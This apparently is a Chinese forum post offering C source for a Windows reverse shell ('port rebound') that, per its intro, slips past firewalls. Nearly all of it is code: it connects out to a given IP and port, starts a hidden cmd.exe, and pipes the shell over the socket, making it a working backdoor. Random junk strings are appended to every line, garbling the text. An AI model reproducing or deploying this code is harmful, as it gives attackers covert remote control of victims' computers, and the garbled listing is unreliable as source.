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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B>z^W+Unyn  
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/* ============================== gh"_,ZhZt  
Rebound port in Windows NT {_z6  
By wind,2006/7 m}: X\G(6Q  
===============================*/ d4Y[}Fcp+  
#include IF//bgk-  
#include -GQ.B{%G  
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#pragma comment(lib,"wsock32.lib") NcX-* o  
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void OutputShell(); (4`Tf*5hHa  
SOCKET sClient; qEdY]t   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h\Zh^B6J  
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void main(int argc,char **argv) 3=UufI  
{ iU~d2R+  
WSADATA stWsaData; <8Z%'C6d  
int nRet; "/UPq6  
SOCKADDR_IN stSaiClient,stSaiServer; ]#q$i[Y  
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if(argc != 3) ?9 `T_,  
{ a<+Rw{  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,p\*cHB9  
return; ,pkzNe`F  
} cmaha%3d  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0{?%"t\/f  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q-U,1b  
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stSaiClient.sin_family = AF_INET; (KfdN'vW  
stSaiClient.sin_port = htons(0); H-X5A\\5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WFqOVI*l  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '64/2x  
{ jd 8g0^  
printf("Bind Socket Failed!\n"); &N %-.&t'  
return; eMH\]A~v"  
} *\Hut'7 d  
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stSaiServer.sin_family = AF_INET; /`O'eH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5=4-IO6W[]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J=n^&y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g|!=@9[dv  
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printf("Connect Error!"); -r0oO~KT  
return; 1;>RK  
} xlW>3'uHfa  
OutputShell(); Me;Nn$'%  
} lPlJL`e  
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void OutputShell() uuCVI2|  
{ _b=})**  
char szBuff[1024]; x6=tS  
SECURITY_ATTRIBUTES stSecurityAttributes; /J,&G: Er  
OSVERSIONINFO stOsversionInfo; z]O>`50Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2Ju,P_<dt  
STARTUPINFO stStartupInfo; 6|%HCxWO  
char *szShell; Ax!fvcsN  
PROCESS_INFORMATION stProcessInformation; O}7aX '  
unsigned long lBytesRead; \l 3M\$oS>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RWn#"~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [@s5v  
stSecurityAttributes.lpSecurityDescriptor = 0; bW'Y8ok[v  
stSecurityAttributes.bInheritHandle = TRUE; 6M8(KN^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  6AmFl<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .:, 9Tf  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;Y(~'KF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "QY~V{u5  
stStartupInfo.wShowWindow = SW_HIDE; 6r,zOs-I]  
stStartupInfo.hStdInput = hReadPipe; q.lh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WF <*rl  
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GetVersionEx(&stOsversionInfo); 0+S'i82=M  
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switch(stOsversionInfo.dwPlatformId) nSU7,K`PM  
{ W@FGU  
case 1: c<qJs-C4;  
szShell = "command.com"; k${F7I(Tb  
break; ]PXpzruy  
default: vYG$>*  
szShell = "cmd.exe"; S'v UxOAo  
break; 5c l%>U  
} :.\h.H;  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1) G6  
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send(sClient,szMsg,77,0); gH/k}M7tA#  
while(1) oRCD8b?  
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O<w7PS  
if(lBytesRead) pJwy ~ L  
{ GP}+c8|2  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *|:]("i  
send(sClient,szBuff,lBytesRead,0); v_@&#!u`  
} k\M">K0E  
else BH=C  oD.  
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lBytesRead=recv(sClient,szBuff,1024,0); Rd*/J~TK  
if(lBytesRead<=0) break;  6@ )bZ|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R0mWVgoz  
} sFxciCpN  
} u8@>ThPD  
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return; P(Hh%9'(  
}
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